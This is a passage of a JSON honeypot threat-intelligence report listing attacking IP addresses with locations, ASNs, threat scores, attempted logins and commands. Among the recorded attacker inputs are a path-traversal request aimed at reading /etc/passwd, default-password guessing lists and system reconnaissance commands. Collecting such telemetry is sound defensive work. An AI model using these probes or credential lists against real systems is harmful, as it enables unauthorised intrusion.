        "cowrie.command.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.success",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T05:06:23.617000+00:00",
        "last_seen_30d": "2026-03-27T05:08:12.366000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 4
      }
    },
    "45.119.99.141": {
      "attack_count": 33,
      "first_seen": "2026-03-09T09:26:28.654Z",
      "last_seen": "2026-03-10T01:29:17.123Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 133199,
      "as_org": "SonderCloud Limited",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T09:26:28.654000+00:00",
        "last_seen_30d": "2026-03-10T01:30:20.541000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 33
      }
    },
    "143.244.135.41": {
      "attack_count": 25,
      "first_seen": "2026-03-07T13:03:26.752Z",
      "last_seen": "2026-03-07T13:10:47.602Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T13:03:26.752000+00:00",
        "last_seen_30d": "2026-03-07T13:11:57.216000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 11
      }
    },
    "89.42.231.182": {
      "attack_count": 22,
      "first_seen": "2026-03-17T21:33:24.098Z",
      "last_seen": "2026-03-25T10:03:52.012Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0",
        "Connection: close"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23",
        ""
      ],
      "commands_executed": [
        "Connection: close",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 206264,
      "as_org": "Amarutu Technology Ltd",
      "threat_score": 79.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4772,
        "days_active_30d": 25,
        "ports_targeted_30d": 484,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-03-02T05:04:13.530000+00:00",
        "last_seen_30d": "2026-03-26T10:27:28.067000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3407,
        "Honeytrap": 1249,
        "Cowrie": 22,
        "Mailoney": 18,
        "Miniprint": 16,
        "CitrixHoneypot": 13,
        "Honeyaml": 12,
        "Ciscoasa": 9,
        "Dionaea": 6,
        "ConPot": 5,
        "Tanner": 5,
        "Adbhoney": 4,
        "Redishoneypot": 3,
        "Ipphoney": 2,
        "ElasticPot": 1
      }
    },
    "143.198.40.39": {
      "attack_count": 21,
      "first_seen": "2026-03-19T04:44:37.913Z",
      "last_seen": "2026-03-19T04:47:49.606Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T04:44:37.913000+00:00",
        "last_seen_30d": "2026-03-19T04:48:59.102000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 10
      }
    },
    "38.188.160.38": {
      "attack_count": 18,
      "first_seen": "2026-03-10T23:05:36.689Z",
      "last_seen": "2026-03-11T00:35:19.218Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "160287",
        "bigdick",
        "eponge"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:05:36.689000+00:00",
        "last_seen_30d": "2026-03-11T00:36:23.283000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "94.243.12.180": {
      "attack_count": 16,
      "first_seen": "2026-03-12T14:55:19.672Z",
      "last_seen": "2026-03-12T14:57:04.975Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T14:55:19.672000+00:00",
        "last_seen_30d": "2026-03-12T14:58:13.238000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "101.47.48.255": {
      "attack_count": 14,
      "first_seen": "2026-03-31T04:15:34.056Z",
      "last_seen": "2026-03-31T04:34:23.891Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "0668-2196688",
        "TZ147258"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T04:15:34.056000+00:00",
        "last_seen_30d": "2026-03-31T04:45:04.110000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 9
      }
    },
    "143.198.236.12": {
      "attack_count": 14,
      "first_seen": "2026-03-10T23:45:14.467Z",
      "last_seen": "2026-03-11T08:21:17.787Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "ubuntu"
      ],
      "passwords_attempted": [
        "qwer1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:36:04.345000+00:00",
        "last_seen_30d": "2026-03-11T08:22:20.979000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 12
      }
    },
    "165.154.174.108": {
      "attack_count": 12,
      "first_seen": "2026-03-08T15:25:58.011Z",
      "last_seen": "2026-03-08T15:26:18.102Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 83.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.6,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 229,
        "days_active_30d": 24,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-08T15:17:53.610000+00:00",
        "last_seen_30d": "2026-03-31T21:48:35.024000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 127,
        "Honeytrap": 81,
        "Cowrie": 12,
        "Dionaea": 9
      }
    },
    "216.218.206.66": {
      "attack_count": 10,
      "first_seen": "2026-03-16T06:57:56.947Z",
      "last_seen": "2026-03-30T09:27:48.302Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko)",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0.0; Win64; x64; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.156 Not(A:Brand/24 YaBrowser/24.4.1.899 Yowser/2.5  Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 303,
        "days_active_30d": 30,
        "ports_targeted_30d": 56,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-03-02T04:25:13+00:00",
        "last_seen_30d": "2026-03-31T07:50:29.201000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 181,
        "Honeytrap": 80,
        "Redishoneypot": 11,
        "Ciscoasa": 10,
        "Cowrie": 10,
        "CitrixHoneypot": 3,
        "Tanner": 3,
        "ConPot": 2,
        "Dionaea": 2,
        "Ipphoney": 1
      }
    },
    "71.6.232.29": {
      "attack_count": 10,
      "first_seen": "2026-03-02T08:44:14.807Z",
      "last_seen": "2026-03-16T18:54:19.600Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 88.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 75,
        "days_active_30d": 30,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T08:44:14.807000+00:00",
        "last_seen_30d": "2026-03-31T05:54:44.762000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Cowrie": 10,
        "Honeytrap": 5,
        "Dionaea": 1,
        "Honeyaml": 1,
        "Mailoney": 1
      }
    },
    "167.94.138.175": {
      "attack_count": 8,
      "first_seen": "2026-03-15T13:18:16.077Z",
      "last_seen": "2026-03-15T13:19:05.983Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 55.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.2,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 166,
        "days_active_30d": 22,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T05:40:19+00:00",
        "last_seen_30d": "2026-03-23T07:56:34.051000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 107,
        "Honeytrap": 51,
        "Cowrie": 8
      }
    },
    "45.84.107.55": {
      "attack_count": 8,
      "first_seen": "2026-03-20T19:44:42.189Z",
      "last_seen": "2026-03-20T19:45:07.141Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 77.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.5,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 178,
        "days_active_30d": 26,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T16:28:37+00:00",
        "last_seen_30d": "2026-03-27T20:12:09.310000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 111,
        "Honeytrap": 40,
        "H0neytr4p": 15,
        "Ciscoasa": 6,
        "Cowrie": 6
      }
    },
    "144.172.98.169": {
      "attack_count": 7,
      "first_seen": "2026-03-08T12:25:22.157Z",
      "last_seen": "2026-03-08T12:25:28.728Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ogden",
      "asn": 14956,
      "as_org": "RouterHosting LLC",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.8,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 1,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-08T12:25:22+00:00",
        "last_seen_30d": "2026-03-08T12:35:32.987000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "Honeytrap": 12,
        "Cowrie": 7,
        "Redishoneypot": 7,
        "Dionaea": 2,
        "ElasticPot": 1
      }
    },
    "66.132.172.102": {
      "attack_count": 6,
      "first_seen": "2026-03-27T08:37:17.505Z",
      "last_seen": "2026-03-27T08:37:53.901Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 65.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.0,
        "persistence": 9.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 11,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-20T06:58:40+00:00",
        "last_seen_30d": "2026-03-30T14:25:41.556000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 38,
        "Honeytrap": 32,
        "Cowrie": 6,
        "ConPot": 3
      }
    },
    "38.188.160.51": {
      "attack_count": 5,
      "first_seen": "2026-03-11T00:34:39.925Z",
      "last_seen": "2026-03-11T00:34:42.275Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1708451"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:34:39.925000+00:00",
        "last_seen_30d": "2026-03-11T00:35:45.463000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "123.144.25.232": {
      "attack_count": 4,
      "first_seen": "2026-03-15T00:59:53.334Z",
      "last_seen": "2026-03-18T12:36:45.526Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Chongqing",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T00:59:53.334000+00:00",
        "last_seen_30d": "2026-03-18T12:37:47.922000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "13.58.114.74": {
      "attack_count": 4,
      "first_seen": "2026-03-05T20:46:19.748Z",
      "last_seen": "2026-03-05T20:46:20.745Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 1,
        "ports_targeted_30d": 159,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-05T20:46:19+00:00",
        "last_seen_30d": "2026-03-05T20:56:26.236000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 162,
        "Honeytrap": 110,
        "Dionaea": 9,
        "Cowrie": 4,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Redishoneypot": 2
      }
    },
    "167.172.105.145": {
      "attack_count": 4,
      "first_seen": "2026-03-29T06:18:47.394Z",
      "last_seen": "2026-03-29T06:18:48.156Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T06:18:47.394000+00:00",
        "last_seen_30d": "2026-03-29T06:19:50.619000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "199.45.154.156": {
      "attack_count": 4,
      "first_seen": "2026-03-28T09:01:44.184Z",
      "last_seen": "2026-03-28T09:01:59.284Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 77.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.7,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 28,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T12:00:39+00:00",
        "last_seen_30d": "2026-03-30T06:59:49.373000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Honeytrap": 14,
        "Cowrie": 4,
        "Sentrypeer": 1
      }
    },
    "20.106.57.141": {
      "attack_count": 4,
      "first_seen": "2026-03-18T17:07:03.825Z",
      "last_seen": "2026-03-18T17:07:14.363Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 5.8,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 7,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T06:51:36.024000+00:00",
        "last_seen_30d": "2026-03-23T20:36:48.283000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "52.177.253.131": {
      "attack_count": 4,
      "first_seen": "2026-03-06T22:41:31.475Z",
      "last_seen": "2026-03-11T00:18:37.157Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boydton",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T22:41:31.475000+00:00",
        "last_seen_30d": "2026-03-11T00:19:43.021000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "64.226.122.184": {
      "attack_count": 4,
      "first_seen": "2026-03-03T02:27:29.130Z",
      "last_seen": "2026-03-03T02:27:49.131Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 2.5,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 3,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T02:27:29.130000+00:00",
        "last_seen_30d": "2026-03-05T04:02:23.729000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Honeytrap": 7,
        "Cowrie": 4,
        "H0neytr4p": 1
      }
    },
    "64.62.156.108": {
      "attack_count": 3,
      "first_seen": "2026-03-16T01:32:49.066Z",
      "last_seen": "2026-03-16T01:32:49.068Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 259,
        "days_active_30d": 30,
        "ports_targeted_30d": 77,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T01:41:28+00:00",
        "last_seen_30d": "2026-03-31T14:02:05.985000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 173,
        "Honeytrap": 76,
        "Cowrie": 3,
        "Dionaea": 3,
        "Tanner": 3,
        "Ipphoney": 1
      }
    },
    "103.83.148.38": {
      "attack_count": 2,
